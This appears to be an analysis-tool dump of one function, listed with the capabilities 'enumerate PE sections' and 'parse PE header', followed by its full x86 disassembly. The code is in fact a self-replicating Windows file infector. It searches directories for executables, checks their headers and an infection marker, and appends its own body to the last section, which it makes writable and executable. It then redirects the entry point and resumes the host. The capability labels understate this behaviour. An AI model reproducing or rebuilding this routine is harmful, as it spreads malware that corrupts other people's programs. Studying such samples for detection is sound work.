Function at 0x408000
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
pushal
pushfd
call 0x408007
pop ebp
sub ebp, 0x401007
lea esi, [ebp + 0x40105a]
push esi
push 0x12c
push dword [ebp + 0x401056]
call fcn.00408027
jmp 0x40805a
push dword [esp + 0x24]
call fcn.004083a3
test eax, eax
je 0x408312
lea ebx, [ebp + 0x4013e9]
lea ecx, [ebp + 0x401509]
push ecx
push ebx
push eax
call fcn.00408321
lea eax, [ebp + 0x4013dc]
push eax
call dword [ebp + 0x401509]
test eax, eax
je 0x408312
lea ebx, [ebp + 0x4014e2]
lea ecx, [ebp + 0x40154d]
push ecx
push ebx
push eax
call fcn.00408321
lea ebx, [ebp + 0x401566]
push ebx
push 0x100
call dword [ebp + 0x40150d]
push ebx
call dword [ebp + 0x401519]
test eax, eax
je 0x4082ba
lea eax, [ebp + 0x4013d6]
lea ebx, [ebp + 0x401966]
push ebx
push eax
call dword [ebp + 0x40151d]
mov dword [ebp + 0x401559], eax
cmp eax, 0xffffffff
je 0x4082ae
lea eax, [ebp + 0x401992]
push 0x80
push eax
call dword [ebp + 0x401529]
test eax, eax
je 0x408293
lea eax, [ebp + 0x401992]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push eax
call dword [ebp + 0x40152d]
mov dword [ebp + 0x40155d], eax
cmp eax, 0xffffffff
je 0x408280
mov eax, dword [ebp + 0x401986]
add eax, 0x600
push eax
push 0x40
call dword [ebp + 0x401535]
mov dword [ebp + 0x401561], eax
lea ebx, [ebp + 0x401986]
push 0
push ebx
push dword [ebp + 0x401986]
push dword [ebp + 0x401561]
push dword [ebp + 0x40155d]
call dword [ebp + 0x40153d]
test eax, eax
je 0x408268
mov edx, dword [ebp + 0x401561]
cmp word [edx], 0x5a4d
jne 0x408268
cmp word [edx + 0x18], 0x40
jne 0x408268
add edx, dword [edx + 0x3c]
cmp dword [edx], 0x4550
jne 0x408268
cmp dword [edx + 0x4c], 0xf846
je 0x408268
movzx eax, word [edx + 6]
dec eax
imul eax, eax, 0x28
mov ebx, edx
add ebx, 0xf8
add ebx, eax
mov edi, dword [ebp + 0x401561]
add edi, dword [ebx + 0x14]
add edi, dword [ebx + 0x10]
lea esi, [ebp + section..text]
mov ecx, 0x509
push edi
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [edx + 0x28]
add eax, dword [edx + 0x34]
mov dword [edi + 0x3d2], eax
mov eax, dword [ebx + 0xc]
add eax, dword [ebx + 0x10]
mov dword [edx + 0x28], eax
mov eax, dword [ebx + 0x10]
sub eax, dword [ebx + 8]
js 0x4081fc
add dword [ebx + 8], eax
add dword [ebx + 8], 0xb00
add dword [ebx + 0x10], 0x600
or byte [ebx + 0x27], 0xe0
add dword [edx + 0x50], 0xb00
mov dword [edx + 0x4c], 0xf846
call dword [ebp + 0x401549]
mov dword [edi + 0x56], eax
add edi, 0x5a
push edi
push 0x12c
push eax
call fcn.00408027
push 0
push 0
push 0
push dword [ebp + 0x40155d]
call dword [ebp + 0x401541]
lea eax, [ebp + 0x401986]
mov ecx, dword [ebx + 0x14]
add ecx, dword [ebx + 0x10]
push 0
push eax
push ecx
push dword [ebp + 0x401561]
push dword [ebp + 0x40155d]
call dword [ebp + 0x401545]
push dword [ebp + 0x40155d]
call dword [ebp + 0x401531]
push dword [ebp + 0x401561]
call dword [ebp + 0x401539]
lea eax, [ebp + 0x401992]
push dword [ebp + 0x401966]
push eax
call dword [ebp + 0x401529]
lea ebx, [ebp + 0x401966]
push ebx
push dword [ebp + 0x401559]
call dword [ebp + 0x401521]
test eax, eax
jne 0x4080ec
push dword [ebp + 0x401559]
call dword [ebp + 0x401525]
lea ebx, [ebp + 0x401992]
cmp byte [ebp + 0x401565], 0
jne 0x4082e0
push 0x100
push ebx
call dword [ebp + 0x401511]
inc byte [ebp + 0x401565]
jmp 0x4080ba
cmp byte [ebp + 0x401565], 1
jne 0x408300
push 0x100
push ebx
call dword [ebp + 0x401515]
inc byte [ebp + 0x401565]
jmp 0x4080ba
lea ebx, [ebp + 0x401566]
push ebx
call dword [ebp + 0x401519]
call fcn.00408320
mov eax, dword [ebp + 0x4013d2]
mov dword [esp + 0x20], eax
popfd
popal
jmp eax